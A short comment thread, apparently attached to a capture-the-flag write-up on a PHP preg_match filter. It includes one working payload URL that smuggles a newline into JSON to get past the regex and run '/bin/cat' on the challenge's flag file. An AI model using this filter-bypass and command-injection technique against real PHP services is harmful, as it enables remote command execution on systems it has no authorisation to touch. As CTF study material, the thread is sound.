Tags: preg_match php
Rating: 3.7
do you have the exact payload? i tried to use `\r`, `\n`, `%0d`, `%0a` for newline and they all failed
@evandrix
http://challenges.fbctf.com:8085/?cmd={%0A%22cmd%22%3A+%22/bin/cat+%2Fhome%2Frceservice/flag%22%0A}
This one works for me
Thanks, I realised my mistake - I should be adding the newline outside of the "cmd" field value